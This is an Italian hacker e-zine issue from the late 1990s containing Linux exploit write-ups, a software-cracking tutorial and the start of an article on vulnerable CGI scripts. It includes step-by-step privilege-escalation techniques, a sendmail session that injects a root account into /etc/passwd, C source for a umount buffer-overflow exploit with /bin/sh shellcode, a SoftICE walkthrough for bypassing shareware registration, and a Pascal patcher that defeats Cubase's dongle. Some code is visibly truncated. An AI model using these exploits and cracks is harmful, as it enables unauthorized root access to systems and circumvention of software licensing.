********************************************************************** * * * Chiunque venisse in possesso di questa rivista e' pregato di NON * * postarla su NESSUN TIPO di newsgroup. Gli autori di questo testo * * non si prendono nessuna responsabilita' per l'uso che ne verra' * * fatto poiche' e' stata espressamente concepita per puri scopi * * informativi. * * * ********************************************************************** Introduzione: Salve di nuovo a tutti. Prima di ogni altra cosa, mi devo scusare con tutti voi per i ritardi che ha subito l'uscita del nø4 ma sia io, sia i miei compagni siamo stati molto impegnati a livello lavorativo-scolastico e cio' ha contribuito al ritardo che gia conoscete. In questo numero si apre una nuova rubrica: Come avevo gia accennato nel terzo volume di questa rivista, una parte di Systemdown verra' dedicata a chi legge, ovvero ognuno di voi potra' mandare un articolo che, nei successivi numeri, verra' pubblicato in queste pagine. Questo lo facciamo non perche' ci sentiamo piu' "in alto" di altri permettendo di scrivere su questa rivista come se fosse chissa' cosa, ma perche' penso che ognuno debba avere la possibilita' di esprimere le proprie idee, i propri concetti e le proprie scoperte. Quindi vi invito, se la cosa vi puo' interessare, a scriverci mandando i vostri articoli in .txt e, se risultassero eccessivamente lunghi, in forma zippata ( giusto per facilitarci un po' il download della mail ). Non so quanti di voi vorranno inviarci un articolo ma, anche se ne arrivasse solo uno all'anno saremo lieti di pubblicarlo insieme a tutti gli altri. Il primo ad occupare questo nostro nuovo spazio e' Cavallo de Cavallis con la sua guida alla sopravvivenza per i non-crakkatori. Visto che un nostro amico di nome Hank ci ha scritto praticamente qualche istante dopo Cavallo abbiamo deciso di inserire anche lui per poter inaugurare al meglio questa sezione. Una piccola informazione che non so se avete letto o sentito da qualche parte: dal 3 dicembre, pare, i paradisi telematici sparsi per tutta Italia (vedi i paesi in cui ancora non c'e' la TUT) cadranno vittime di madre telecom che li tramutera', facendoli cadere nella solita, vecchia storia degli scatti telefonici urbani. Pare comunque che non tutti i comuni vengano colpiti da questo "ciclone"... Quindi non resta che attendere e sperare. By InfectedMachine ( fn-infected@community.co.uk ) Indice Introduzione 1) Bugs ( by RaggedRobin ) 2) The Xoanon's Guide to Cracking ( by Xoanon ) IIIø e ultima parte 3) CGI che passione... ( by Jack McKrak ) 4) Articolo Teorico/Cannato - Ordine e Password ( by Jack McKrak ) 5) I siti del Dr.Creker ( by Dr.Creker ) 6) Guida alla Sopravvivenza per non-crakkatori ( by Cavallo de Cavallis ) 7) Consigli per il laming ( by Hank ) Ringraziamenti Conclusioni Hacker Manifesto 1) Bugs ( by RaggedRobin ) Salve gente, siccome questo mese c'e' gia' l'influenza in giro, ho preferito evitare di spargere altri virus. In questo numero vi presentero' i miei amici bacherozzi, no non il Dr.Creker e Inf, ma quelle simpatiche bestioline da sistema che ogni tanto si scopre abitino nei sistemi operativi. Questa volta vi presentero' per lo piu' bug del linux, se mai vi dovesse interessare l'argomento nel prossimo numero potrei presentarvene qualcuno di windowsNT. 1 comando: telnet sistemi: red hat bug: Facendo un telnet se si sbaglia login si viene sbattutti fuori dal sistema se invece si inserisce una login corretta ma si sbaglia la password il sistema chiede nuovamente login e pass senza sbatterti fuori. 2 comando: admin sistemi: linux con admin-v1.2 e versioni precedenti bug: admin-v1.2 e un tool per gli amministratori di sistema. Attraverso i bug di questo tool un local user puo' cancellare qualsiasi file sul sistema fregandosene dei permessi. Admin-v1.2 scrive i dati riguardanti gli user, menu ed altre cose in /tmp. I nomi di questi files vengono creati attraverso la sintassi /tmp/name.$$ alcuni non usano il suffisso $$. (S)fortunatamente, admin-v1.2 non contralla se questi files gia' esistono e segue i simlynks. E' quindi possibile sovrascrivere qualsiasi file. Un qualsiasi manigoldo puo' per esempio linkare uno di questi files temporanei a /etc/passwd o ad /.rhosts ed aspettare che l'amministratore di sistema lanci adminv1.2. Il file bersaglio verrebbe cancellato. soluzione: rimuovere adminv1.2 3 comando: Lizards game sistemi: Linux Slackware 3.4 bug: Un bug nel gioco Lizard che viene fornito con la Slackware 3.4 nel package e consente ad utenti normali di avere accessi da root. nel codice del gioco nella seconda riga c'e': system("clear"); return EXIT_SUCCESS; } Siccome il programmma esegue "clear" (supponendo di essere in /usr/bin/clear) con privilegi da root basta cambiare lo user path environment variable in qualcosa come PATH=.:/usr/game/lizardlib e poi creare un symlink (o uno script sh) chiamato "clear" che esegua una shell ad un tuo link, facendo in modo che il comando venga eseguito come root finche il gioco gira. soluzione: chmod -s /usr/games/lizardlib/lizardshi 4 comando: sendmail sistema: tutti i sistemi che hanno la sendmail 8.8.3, 8.8.4. problema: Facendo un hard link da /etc/passwd a /var/tmp/dead.letter e telnettando alla porta 25 si puo' inviare una mail ad un host irraggiungibile. Il messaggio sara' scritto in passwd. Ecco un exploit fatto utilizzando questo bug: % telnet 0 25 Trying 0.0.0.0... Connected to 0. Escape character is '^]'. 220 myhost ESMTP Sendmail 8.8.3/8.6.12; Mon, 24 Mar 1997 20:39:07 -0500 (EST) helo localhost 250-myhost Hello localhost [127.0.0.1], pleased to meet you 250-8BITMIME 250-SIZE 250-DSN 250-ONEX 250-ETRN 250-XUSR 250 HELP mail from: ljubozat 250 ljubozat... Sender ok rcpt to: blabla@no-such-host.net 250 blabla@no-such-host.net... Recipient ok data 354 Enter mail, end with "." on a line by itself toor::0:0:Toor de Root:/:/bin/ksh Non funziona su grossi sistemi con partizioni perche' si puo' fare solo un hard link sullo stesso file sistem. Un altra cosa e' che in sistemi con un 'MAILER-DAEMON' definito il demon prende la posta invece di salvarlo in /var/tmp/dead.letter, per esempio, fare un file /etc/aliases che definisce un MAILER-DAEMON. Per fare un altro esempio Pinco aggiunge queste due al suo /etc/aliases: MAILER-DAEMON:Pinco postmaster:Pinco Quindi scrivete solo 'newaliases' e potete andare con un filo di gas. soluzioni: create un file /var/temp/dead.letter con permessi chmod 0644 cosi' nessuno puo' fare hard link a etc/passwd. 5 comando: mount-umount sistema: Linux Redhad problema: Il bug si trova nel programma mount/unmount nel util-linux 2.5 package. Se installato suid-to-root, questo programma consente agli utenti locali di ottenere privilegi da super user. Le utilities mount/unmount della util-linux 2.5 hanno problemi di overrun. Installando mount/unmount come programma suid-to-root e' necessario concedere agli utenti locali di fare il mount e unmount sui media removibili senza avere i privilegi di super user. Se questa possibilita' non e' necessaria e' raccomandato di togliere il suid bit sia dal programma mount che da unmount. Eccovi un exploit che utililizza il bug. #include #include #include #include #include #include #define PATH_MOUNT "/bin/umount" #define BUFFER_SIZE 1024 #define DEFAULT_OFFSET 50 u_long get_esp() { __asm__("movl %esp, %eax"); } main(int argc, char **argv) { u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; int i; int ofs = DEFAULT_OFFSET; buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; /* riempie l'izio del buffer con nops */ memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); /* infila il codice assembler nel buffer*/ for(i=0;ilast_error = (char *) 0; hp = gethostbyname(rhost); /* identifica host */ if (hp != NULL) { - ap = hp->h_addr_list; - while (*ap) { /* loop sulla lista di indirizzi */ - memcpy (&addr, *ap, sizeof(addr)); - - /* controlla user su remote host */ - if (pam_iruserok(pamh, opts, addr, superuser, ruser, luser, rhost) - == 0) { - answer = 0; /* successo*/ - break; - } - ++ap; - } + + /* loop sulla lista di indirizzi */ + for (n = 0; hp->h_addr_list[n]; n++); + D(("rhosts: %d addresses", n)) + + if (n) { + addrs = malloc (n * sizeof(*addrs)); + for (i = 0; i < n; i++) + memcpy (addrs+i, hp->h_addr_list[i], sizeof(*addrs)); + + for (i = 0; i < n && answer; i++) { + D(("rhosts: address %d is %04x", i, addrs[i])) + answer = pam_iruserok(pamh, opts, addrs[i], superuser, + ruser, luser, rhost); + /* risposta == 0 significa successo */ + } + + free (addrs); + } } return answer; By RaggedRobin 2) The Xoanon's Guide to Cracking ( by Xoanon ) IIIø e ultima parte ---------------------------------------------------------------------------- CAPITOLO 3: CRACKING IN WINDOWS ---------------------------------------------------------------------------- * IN QUESTA PARTE SARO` PIU` SBRIGATIVO, SPECIE NEI CONCETTI DETTI E RIDETTI NELLE PARTI PRECEDENTI. SOPRATTUTTO, VI SPIEGHERO` IL FUNZIONAMENTO DEL DEBUGGER * Ah, dopo il cracking in dos, passiamo a Windows..... con tutti i suoi bei programmini shareware che funzionano a meta', funzionano per 30 gg, e cazzi vari..... BASTA!!!! Vi salvero' da questo martirio !!! Premetto che trattero' solo Windows95 con il relativo SoftICE, ma penso che le stesse nozioni valgano anche per Windows3.1 e NT (comunque, fatemi sapere.) Dunque, innanzitutto installatevi il SoftICE95 (lo trovate sulla rete, basta che andiate a cercare con AltaVista la parola "Hack" o "Crack" e vi appariranno migliaia di siti con tutti i debuggers che volete.... Una volta installato, vi conviene farvi nella vostra AUTOEXEC.BAT un'aggiunta del tipo: Choice /TN,10 Carico il SoftICE (S/N) ? If ERRORLEVEL 2 goto END :ICE * mettete qui il comando che vi aggiunge il programma di installazione (es. c:\utility\sice95\sice.exe :END Inoltre, andate a modificare il file WINICE.DAT nella directory dove il debugger e' installato, modificando la riga con "X;" in questo modo: WATCH ES:DI;LINES 50;X; A questo punto assicuratevi di settare il driver della scheda grafica dal setup del SoftICE, dopodiche' siete pronti a debuggare. Su questo, faccio una piccola aggiunta: a me, ad esempio, il driver della S3 fornito con l'ICE non funziona, quindi tutte le volte devo settare Windows95 a 16 colori, senno' appena entro nel debugger svalvola lo schermo...... (questo per il SoftICE 2.0, con il 3.0 tutto funziona a meraviglia. Se avete il 2.0 andatevi a beccare i nuovi drivers al sito della NuMEGA, mi sembra www.numega.com... ma non sono sicuro!) 3.1 Nozioncine sul funzionamento di Windows95 (penso vada bene anche per 3.1) Iniziamo con qualche delucidazione su come Windows lavora... che e' meglio! Dunque, dovete sapere che ad ogni cosa che accade sullo schermo (come ad esempio, l'apparire di una finestra, il click di un bottone, insomma tutto!) corrisponde una particolare API (funzione interna) del sistema operativo. Per farvi capire meglio, se il programma vuole aprire una finestra non fara' altro che usare le funzioni del sistema, e nel disassemblato vedrete, tra le altre, una CALL USER!OPENWINDOW (o roba del genere, non ho il debugger qui davanti e a mente non me lo ricordo...). Quindi, per i nostri loschi scopi basta intercettare alcune di queste chiamate, nella maggior parte dei casi quelle relative all'inserimento di testo oppure al click di un bottone. Per questo ci viene in aiuto il comando dell'ICE, BMSG. Questo comando senta un particolare BP che vi riporta al beneamato debugger ogni volta che questo intercetta una chiamata ad una specifica funzione del sistema. La sintassi e' la seguente: BMSG window-handle funzionedelsistema Mi spiego meglio: il Window-Handle non e' altro che il primo indirizzo che trovate nella tabella che ottenete con HWND taskname (spiegato dopo). Notate che accanto a questo valore, tra le altre cose, c'e' il nome dell'handle stesso. Bene, questo ci serve a identificare l'handle che vogliamo allacciare. Ad esempio, se avete un task di nome OMAR, e la finestra mostra: 3 righe per inserire il testo (ad es. dati personali e SN) 2 bottoni (es. OK, Cancel) Dando il comando HWND omar troverete 3 handle EDIT e 2 handle BUTTON (pi— altre cose). Dato che voi dovete inserire il SN (mettiamo) il vostro bersaglio sara' uno dei 3 EDIT, giusto? Ma quale dei 3 ? Di solito il primo, perche' quello dove inserire il SN di solito appare per ultimo (funziona cosi'....). Comunque, provate, tanto se beccate quello giusto non appena premete return vi ritorna al debugger....... Ah gia', le funzioni di sistema da intercettare....... eccone qualcuna che vi fara' sicuramente comodo: WM_GETTEXT Come nell'esempio, quando dovete inserire qualcosa WM_COMMAND Quando dovete cliccare un bottone GETWINDOWTEXT Sempre per il testo, applicazioni a 16-Bit * GETWINDOWTEXTA (o W) Come sopra, ma per applicazioni a 32-Bit * GETDLGITEMTEXT Ancora per il testo,16-Bit * GETDLGITEMTEXTA (o W) A 32-Bit * WM_MOVE Per tornare al debugger quando apre una nuova finestra (da usare se i precedenti non funzionano) * = da usare con BPX al posto di BMSG (si ferma quando trova la call che esegue la funzione, mentre con BMSG vi ritrovate dentro la funzione di sistema..... vabbe', e' uguale. Io uso solo WM_GETTEXT e WM_MOVE, con BMSG, poi fate voi.....) 3.2 Esempio pratico di registrazione di uno shareware Capito bene il paragrafo precedente? Bene, cominciamo! Dunque, i comandi principali li sapete gia' (andatevi a vedere il capitolo 1 paragrafo 2).... al SoftICE si accede con CTRL-D..... cosa c'e' ancora da spiegare? Boh...... tagliamo la testa al toro e facciamo subito un bell'esempio, cosi' si spiega tutto senza star a fare rigirii inutili. Dunque, prendete un bel programmino shareware di quelli che, ad esempio, funzionano 30gg e poi non vanno piu'.... tipo il QuickView Plus 3.0 32-Bit. Una volta installato, aprite un promptino del dos (infatti non vi crea l'icona essendo un tipo-plug-in del Netscape) e caricate ORDER32.EXE. Quindi, clickate su "Single User" poi su "Unlock by Phone". A questo punto, inserite il vostro unlock code (senza premere return, mi raccomando!), naturalmente scazzato, e premete CTRL-D per entrare nell'ICE. A questo punto, il primo passo da fare e' individuare il task corrispondente all'ORDER32. Difatti, non e' detto che quando stoppate con CTRL-D andiate a finire proprio nell'area di memoria riservata al programma.... anzi, diciamo che non ci andrete a finire mai in questa maniera! Bisogna fare quello che in gergo si chiama "PINPOINTING", ossia dobbiamo intercettare un messaggio che quella finestra di Windows manda al sistema operativo, in modo da entrare cosi' nel task. Ordunque, individuiamo il task inserendo TASK . Apparira' una lista con (fra gli altri): TaskName SS:SP StackTop StackBot StackLow TaskDB hQueue Events ........ * GLI INDIRIZZI NATURALMENTE CAMBIANO!* Order32 0000:0000 005ED000 005F0000 306E 30D7 0000 Spool32 0000:0000 0073D000 006C0000 246E 25D7 0000 Systray 0000:0000 00415000 003F0000 156E 2561 0000 ........ A questo punto, facciamo un bel HWND Order32, per avere una lista di tutti gli handlers del task. Otteniamo questo (sempre tra gli altri): Window Handle hQueue SZ QOwner Name Window Procedure ........ *GLI INDIRIZZI CAMBIANO (E VE LO RIDIO!!!!)* 01AC (2) 0E3F 32 ORDER32 Static 17DF:000052FA 01A4 (2) 0E3F 32 ORDER32 Edit 17DF:00000BF4 01B4 (2) 0E3F 32 ORDER32 Button 17DF:0000102E 0C50 (2) 0E3F 32 ORDER32 Button 17DF:0000102E ........ In base alle cose spiegate nel paragrafo precedente, scegliamo come handle da pinpointare quello EDIT a 01B4 (anche perche' e' l'unico edit che vi appare). A questo punto, tornate al debugger con CTRL-D e premete return per far accettare il vostro input. Di colpo riapparira' l'ICE, e voi inizierete nello steppaggio.....fino ad arrivare a: ...... (INDOVINATE UN PO'? COSA FANNO GLI INDIRIZZI?) 014F:004049C8 ADD ESP,04 014F:004049CB TEST EAX,EAX 014F:004049CD JNZ 00404A29 < Se il SN Š sbagliato, non esegue il salto 014F:004049CF PUSH 20 e vi d… il messaggio di errore. ...... Bene, con le tecniche che ormai avrete appreso (ossia, cercare sempre il jump condizionale precedente alla call che vi fa' uscire) non avrete difficolta' ad individuare nel JNZ indicato sopra la "chiave" per questo crack. Basta cambiarlo in JMP (con A 004049CD JMP 00404A29 ) e..... bravi! Ora crakkate anche in Windows..... Azz, siete dei mostri!!! Naturalmente, per il cracking in Windows valgono anche le regole generali spiegate e rispiegate, potete settare dei BPX (con l'apposito comando) per evitare tutte le volte di ricominciare da capo, ecc... Unica cosa, data la possibilita' di intercettare direttamente la chiamata alla routine di accettazione dell'input con BMSG, non c'e' bisogno tutte le volte di cercare il loop che aspetta l'inserimento. Per quanto riguarda gli HERE, anche quello l'ho gia' spiegato nelle funzioni del debugger..... cos'altro c'e' ? Ah,gia': se siete nella merda fino al collo e volete cercare il vostro ECHO in memoria, una volta tornati al debugger dopo il BMSG, fate questo: 1) inserite S 30:0 lffffffff 'il vostro SN' 2) guardate gli indirizzi che trovate. Quelli buoni sono di solito quelli a 30:80000000 e seguenti (il 30 e' fisso!). Tanto per controllare, andate a vedere a questi indirizzi con D e scorrendo la DATA WINDOW con ctrl+frecce (o alt, non me lo ricordo. Comunque, e' la finestra dove appare l'immagine della memoria). Molte volte qui ci trovate direttamente, oltre a quello inserito da voi, il SN giusto gia' calcolato!! 3) mettete un BPR (breakpoint-on-range) ai vari indirizzi che trovate fino a trovare quello giusto. Di solito, quello giusto e' quello dove appaiono vicino al SN anche gli altri dati inseriti. 4) da qui, procedete come sempre. Una nota sul Loader: lo potete usare, serve a farvi entrare nel debugger dall'inizio del programma, per eseguirlo passo passo..... ma sinceramente io non l'ho mai usato.... Beh.... non so' cos'altro dirvi.... naturalmente, applicando queste nozioni generali, potete anche provare a crackare qualcosa di diverso dallo shareware. Ad esempio, provate con il Cubase 3.0, che ha la chiave hardware. Vi posso garantire che la protezione e' una vera puttanata. Basta entrare nel debugger "di rincorsa" non appena appare l'inizio del Cubase e mettere un BMSG WM_MOVE per farlo tornare quando appare la finestra con scritto "Chiave non inserita". Di qui, trovate il jump condizionale ed Š fatta....... ------------------------------------------------------------------------------ APPENDICE: PATCHERS, TSR, TRAINERS ------------------------------------------------------------------------------ 1.1 Il PATCHER. Per distribuire i vostri crack! Dunque, che cos'e' un patcher? Semplicemente, e' un programma che vi permette di distribuire a giro il vostro crack. Cioe', contiene delle istruzioni che vanno a scrivere sul file originale in modo da "sproteggerlo". Dunque, bando alle ciance, via agevolo il mio PATCHER UNIVERSALE in Turbo Pascal 7, che potete compilare e usare voi. Premetto che, per fare dei patch dovete avere: 1) I bytes originali e quelli cambiati (deducibili come spiegato, nel SoftICE assemblando l'istruzione voluta e andando a vedere in memoria a quali bytes corrisponde). Piu', naturalmente, un po' di bytes prima e dopo quelli che volete cambiare. 2) Un disk-editor (uno qualsiasi, io ho l'HEXED che si trova su internet) 3) L' UNP, per scompattare gli eseguibili che, essendo crunchati, non vi danno la possibilita' di trovare al loro interno i bytes desiderati. Anche questo, si trova su internet. 4) L'offset (cioŠ la posizione nel file) dei bytes da cambiare. Lo vedete nel disk editor (mi raccomando, in decimale!) 5) La lunghezza del file bersaglio, per evitare che il patcher possa modificare file con nome uguale, ma magari versione diversa. //////////////////////////TAGLIATE QUI//////////////////////////////////////// {$I-} (* Simply follow the comments inside the file to customize your patch *) (* This proggy is TOTALLY free, i wrote it for myself to speed-up patching*) (* However, if you keep the "written by XOANON" lines, i will be glad!*) (* Hello to all crackerz/phreakerz/hackerz worldwide! *) (* Compile with Borland Turbo Pascal 7 or higher *) uses dos, crt; var f : file of char; c: char; filnam: string [80]; filsiz: longint; size: longint; a, i, x : integer; procedure drawscreen; begin writeln (' --------------------------------------------------------- -------------------'); write (' - '); gotoxy (69,2); writeln (' -'); gotoxy (1,3); writeln (' --------------------------------------------------------- -------------------'); textcolor (8); gotoxy (10,2); write ('General Purpose Patcher 1.0 - Written by [>X0aN0n<] in 1996'); delay (140); gotoxy (10,2); textcolor (7); write ('General Purpose Patcher 1.0 - Written by [>X0aN0n<] in 1996'); delay (140); gotoxy (10,2); textcolor (15); write ('General Purpose Patcher 1.0 - Written by [>X0aN0n<] in 1996'); delay (140); textcolor (7); writeln;writeln;writeln; write (' '); textcolor(15); write ('[PrOgRaM NaMe] : '); textcolor (7); (* Write in the line below the name of the program *) writeln ('Cubase Score 3.0 for Windows '); write (' '); textcolor(15); write ('[PaTcH DoNe By] : '); textcolor (7); (* Write in the line below the author of patch *) writeln ('Xoanon '); write (' '); textcolor(15); write(' [FiLe T0 RaPe] : '); textcolor(7); (* Write in the line below the name of the file to be patched *); writeln ('CUBASESC.EXE '); write (' '); textcolor (15); write (' [TyPe 0f PaTcH] : '); textcolor (7); (* Write in the line below the type of the patch *) writeln ('Dongle Crack -100%- '); write (' '); textcolor (15); (* Write in the line below the results obtained patching the file*) write (' [ReSuLtZ] : '); textcolor (7); (* Write in the line below the results obtained patching the file*) writeln ('Simply, now your Cubase works! '); write (' '); textcolor (15); write (' [ByTeZ ChAnGeD] : '); textcolor (7); (* Write in the line below how many bytes the patch will go to change*) writeln ('2 '); write (' '); textcolor (15); write (' [NoTeZ] : '); textcolor (7); (* In the writeln lines below, you can add some notes (I.E. how to run the patch) *) writeln ('Run this patch in your Cubase directory to crack it. '); write (' '); write (' '); writeln ('Personally, i see my patch more stable than others, bcoz'); write (' '); write (' '); writeln ('using it there are less "General Protection Errors". '); write (' '); write (' '); writeln ('But, try it yourself.......'); writeln; writeln; end; begin clrscr; drawscreen; assign (f, 'CUBASESC.EXE'); (* Write here the name of file to be patched*) filnam := 'CUBASESC.EXE'; (* Write here the name of file to be patched*) filsiz := 2478080; (* This is the lenght of file to be patched*) reset (f); size := filesize (f); a := IOResult; if a <> 0 then (*Error, file not found*) begin sound (220); delay(120); nosound ; writeln ; textcolor (15); write ('Error 1:'); textcolor (7); write (' File ',filnam); writeln (' not found. Check your directory.'); writeln; halt (1) end else (* File found but filelenght doesn't match*) begin if size <> filsiz then begin sound (220); delay (120); nosound; writeln; textcolor (15); write ('Error 2:'); textcolor (7); write(' File ',filnam); write (' must be ',filsiz); writeln (' bytes long.'); writeln (' Probably you have an incorrect/packed version.'); writeln; halt (1); end else (*Everything is OK, let's PATCH!*) (* First, we check if the file is already patched*) seek (f,585299); (*File offset of byte 1*) read (f,c); if c <> #116 then (*This is the ORIGINAL value of byte 1, decimal of course*) begin (*Now we patch the file to its original state*) (*The following lines depends on how many bytes you have to change*) (*In this case, there are 3 bytes*) (*If you have more, simply copy the first 3 lines 2,3,4,5,etc. times*) (*The bytes must be entered in decimal format, I.E the NOP code $90 must be entered as #144*) (*In all these line you must enter the ORIGINAL value of the bytes*) seek (f, 585299); (* File offset of byte 1*) c := #116; (* Byte to write *) write (f, c); seek (f, 585300); (* File offset of byte 2*) c := #2; (* Byte to write*) write (f, c); sound (220); delay (120); nosound; writeln ('File already patched. Now, back to original state.'); writeln; end else (*The following lines depends on how many bytes you have to change*) (*In this case, there are 3 bytes*) (*If you have more, simply copy the first 3 lines 2,3,4,5,etc. times*) (*The bytes must be entered in decimal format, I.E the NOP code $90 must be entered as #144*) begin seek (f, 585299); (* File offset of byte 1*) c := #144; (* Byte to write *) write (f, c); seek (f, 585300); (* File offset of byte 2*) c := #144; (* Byte to write*) write (f, c); sound (220); delay(120); nosound ; writeln ('File successfully patched.'); writeln; end; end; end. //////////////////////////TAGLIATE QUI//////////////////////////////////////// Beh, anche se i commenti sono in inglese (l'ho fatto per distribuirlo su internet..... la traduzione mi sembra superflua....) si dovrebbe capire bene. Basta andare a sostituire i valori indicati, se ci sono piu' bytes da cambiare si deve copiare alcuni pezzi pi— volte.... insomma, e' gia' tutto fatto. L'importante e' convertire i bytes in HEX in decimale, con una qualsiasi calcolatrice.... Avete notato la funzione di unpatching? Bellina eh? Una cosa da notare: quando non trovate i bytes nel file, puo' essere perche' gli indirizzi li cambia direttamente in memoria, e quindi nel file non trovate solo l'offset. Quindi, cercate magari qualche byte prima (magari segnatevi i bytes delle istruzioni PUSH e POP precedenti, che quelle le trovate sempre) e andate a occhio. Tutto qua! 1.2. I TSR. Quando il patcher non basta...... Che cos'Š il TSR? Š un programma che va a modificare il contenuto della memoria in maniera dinamica, ossia mentre il programma viene eseguito. Serve principalmente quando il file magari e' compattato in una maniera proprietaria e non potete quindi trovarvi dentro i bytes. Premetto che un TSR non lo so' scrivere, quindi, per evitare di sbattere le palle a Moonshadow per farmelo in assembler, vi dico come usare un programmino che trovate insieme al G3X, il TSRCRACK. Dunque, funziona cosi': 1) Create un file testo del tipo INT numero < interrupt al quale si aggancia. Deve essere nello stesso CS dell'istruzione. Per trovarlo, usate la funzione INT MONITOR del G3X su un interrupt di uso comune, es. il 21 IF CS:0000:ipdell'istruzione = byte1 byte2 byte3 byte4 (....) THEN CS:0000:ipdell'istruzione = bytenew1 bytenew2 bytenew3 bytenew4 (...) 2) Tornate al DOS e scrivete TSRCRACK nomefile.txt. Et voila', TSR pronto. Naturalmente, lo dovete caricare SEMPRE, prima del programma protetto. Questo metodo vale solo per i programmi che non usano il DOS4GW, e comunque che non usano dos-extenders. Per questi particolari programmi, bisogna creare dei TSR ad-hoc, e io..... non sono ancora in grado. Al limite, chiedete a Moonshadow.... Comunque, niente paura: la quasi totalita' dei programmi (anzi, diciamo pure tutti) non richiede TSR. Basta un patch!!! 1.3. Trainers, come finire i giochi senza cheat-mode! Qui saro' sbrigativo. Il metodo descritto funziona solo con i giochi non in protected mode (quindi niente DOS4GW o extenders vari). 1) Caricate il G3X 2) Caricate il gioco, iniziate a giocare 3) Entrate nel G3X e scegliete GLOBAL ANALYSIS, BYTE, 4) Tornate al gioco e perdete una vita o fate diminuire l'energia o il tempo 5) Entrate nel G3X, GLOBAL ANALYSIS, DECREASE 6) Ripetete dal punto 4 al 5 per un po' di volte, fino a quando non trovate una locazione giusta..... cioe', con i valori es. 04 03 02 01 7) Mettete un BP Read-Write a quella locazione 8) Tornate al gioco, riperdete una vita/energia/tempo 9) Quando torna al debugger (se la locazione e' giusta) segnatevi i bytes dell'istruzione (di solito un DEC) e da qui in poi, procedete come se fosse un crack qualsiasi (disk editor, patcher) Non vi allego il patcher modificato, tanto penso che la cosa sia intuitiva. Praticamente, basta cambiare le scritte, il procedimento a' lo stesso. Considerate che quando fa' il patch mette il trainer, quando fa' l'unpatch riporta il gioco in condizioni normali. Essendo ora tutti i giochi in protected mode, comunque, questo metodo funziona solo con i giochi vecchi..... oppure con gli emulatori tipo C64S (pero' in questo caso non fate il patcher, meglio caricare il G3X in memoria ogni volta che si vuol giocare!). Se volete fare trainer per i giochi in DOS4GW, meglio prendere qualcosa tipo il GameWizard32 (lo trovate su internet). ------------------------------------------------------------------------------ CONCLUSIONI E CONSIDERAZIONI FINALI ------------------------------------------------------------------------------ Dunque, siamo alla fine. Spero che questo tutorial vi sia servito, io da parte mia ho cercato di farlo nel migliore dei modi, accessibile a tutti. Non pensate comunque di riuscire a crackare qualcosa alla prima, il tutto richiede logicamente un po' di pratica. Man mano che proverete, comunque, troverete tutto piu' facile di volta in volta. Per trovare i programmi necessari (SoftICE x Windows95, se volete anche per DOS, e il disk editor), basta cercare con AltaVISTA o simili la parola "Hack" o "Crack" o "Phreak". Troverete migliaia di siti, basta cercare un minimo e troverete quello che cercate. Inoltre, scarivatevi *SUBITO* la guida di +ORC (la migliore al mondo e penso nell'universo) .... le varie parti abbastanza aggiornate le trovate a www.dodgenet.com/~kwantam nella sezione "Hacking Textz". Ci sarebbe anche il sito quasi-ufficiale di +ORC, ma quello non ve lo dico.... vi rovinerei il divertimento nel cercarlo..... sappiate solo che con i vari spiders non lo troverete mai, quindi .... l'unica a' rovistare tra i vari links nelle pagine hackers per vedere se scovate qualcosa! Eh eh eh..... Sicuramente ho tralasciato qualcosa (e chi non lo fa'), ma d'altra parte non potevo certo spiegarvi TUTTE le situazioni (cambiano sempre).... Del resto, basta un po' di pratica e troverete da soli le risposte alle vostre domande! Ah, dimenticavo: >>>>>NON MI E-MAILATE TANTO NON VI RISPONDO<<<<<<. (O, swanne, mi raccomando eh? ir tegame di tu ma se mandi ir mi indirizzo a giro..... un mi vorrai mia fa' arresta' eh? Senno' poi l'artiolini ganzi chi te li scrive..... via swanne, ammodino eh, che se stai bono ti fo' anche ir crachin manua' in livornese!) Special Greetings to: MoonShadow (Assembler Consultor) All the PiNNACLE Crew (Zima Man,Hyper,Blaze,Joker, Silky,MrMox,X-con and the others) Trencher (For the long time spent together in cracking..... and for helping me in programming the first patcher i did!) Colonel (Moral Support) Beppe (Moral Support) All the rest of MeltBody Team (Moral Support) Mamma e Babbo (Per le sigarette fornite... in tutto penso 2 pacchetti in 1 settimana di duro lavoro) H A P P Y C R A C K I N G . . . . *** ** * * * * * * ** *** ** . . . ** *** *** *** ****** ** ** *** ** ** *** *** ** ** ** ** *** ** ** ** *** ** *** ** ** ****** ** *** ** ** ** *** ** ** ** ** *** ** ** ** ** ** ** ** *** *** *** ** ** ** * *** ** * *** ** ** ................... *** **** .PiNNACLE Industries. ** ** . Chief Cracker . ................... 3) CGI che passione... ( by Jack McKrak ) In questo articolo vi parlero' dei bug piu' comuni riscontrati all'interno degli script CGI dei vari gestori di pagine Web, come Apache o NCSA.. Prima di iniziare occorre pero' qualche precisazione: questi bugs ormai sono un po' datati, in America e' praticamente impossibile trovare siti dove si possono ancora utilizzare per entrare senza permessi... in Italia pero', come al solito, non e' raro imbattersi in indirizzi www che hanno ancora gli script incriminati attivi. Faccio dunque appello a tutti quelli che leggeranno questo articolo a non abusare del potere concesso e a non provocare danni ai siti in questione.. il motivo principale e' che siete rintracciabili e se fate inkazzare l'amministratore questo puo' anche risalire a voi e aprirvi un altro buco nel culo, in secondo luogo perche' e' da pirla entrare in un server e danneggiarlo cancellando file.. una dimostrazione solo della propria deficenza, non delle proprie capacita'.. molto piu' divertente invece editare qualche pagina o qualche gif per infilare propri messaggi, magari scrivendoci anche due stronzate, cosi' per far fare quattro risate a chi si connette, senza scatenare eccessivamente l'ira di chi lo gestisce... Le CGI sono dei programmini utilizzati per rendere disponibili i piu' svariati servizi a chi si connette dal proprio browser.. c'e' quello che ti dice quante persone sono entrate, quello che ti ricerca documenti, quello che ti invia le ultime notizie, ecc.. pero' l'elevata versatilita' di questo strumento causa un'inevitabile perdita nella sicurezza globale del sistema. Ogni tanto infatti si scopre che un innocentissima script CGI, nata magari per controllare la velocita' delle connessioni, impostata diversamente, chissa' per quale stranissimo motivo, ti permette di agire sul server come se fosse il tuo PC... Nelle prossime righe vi illustrero' i casi piu' famosi di questi script... programmi che sono stati la causa della rovina di molti host e della gloria di molti hackers... Test-cgi Come si puo' intuire questo script e' stato congegnato per testare il funzionamento delle CGI del server in questione.. scrivendo dal proprio browser http://www.sito.com/cgi-bin/test-cgi 